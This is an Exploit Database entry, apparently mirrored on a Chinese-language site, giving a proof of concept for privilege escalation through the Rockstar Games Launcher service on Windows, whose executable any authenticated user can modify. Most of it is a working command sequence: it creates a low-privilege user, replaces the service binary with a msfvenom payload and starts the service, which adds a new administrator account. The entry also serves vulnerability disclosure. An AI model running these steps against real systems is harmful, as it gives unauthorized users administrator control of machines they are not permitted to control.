Rockstar Service – Insecure File Permissions

• Exploit Database
• 115 阅读

• 作者： George Tsimpidas
  日期： 2021-04-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49739/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  # Exploit Title: Rockstar Service - Insecure File Permissions # Date: 2020-04-02 # Exploit Author: George Tsimpidas # Software Link : https://socialclub.rockstargames.com/rockstar-games-launcher # Version Patch: 1.0.37.349 # Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362   Vulnerability Description:   RockstarService.exesuffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the existing executable file of the service with a binary of his choice. The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege"   #PoC   D:\Launcher> icacls .\Launcher.exe   .\Launcher.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\Authenticated Users:(I)(M) BUILTIN\Users:(I)(RX)   #1. Create low privileged user & Loginto that user   C:\>net user lowpriv Password123! /add C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" User name lowpriv Local Group Memberships *Users Global Group memberships *None   #2. Move the RockstarService.exe to a new name   D:\Launcher> move RockstarService.exe RockstarService.exe.bk 1 file(s) moved.   #3. Create malicious binary on kali linux with MSF   msfvenom -f exe -p windows/exec CMD="net user placebo Password123! /add && net localgroup Administrators placebo /add" -o RockstarService.exe   #4. Transfer created 'RockstarService.exe' to the Windows Host   #5. Move the created 'RockstarService.exe' binary to the 'D:\Launcher' to replace the old one   #6. Now start the Service   Command : net start 'Rockstar Service'   Now check out that the user has been registered to the system and added to the local group of Administrators   C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr /v "Full"   User name placebo Local Group Memberships *Administrators *Users Global Group memberships *None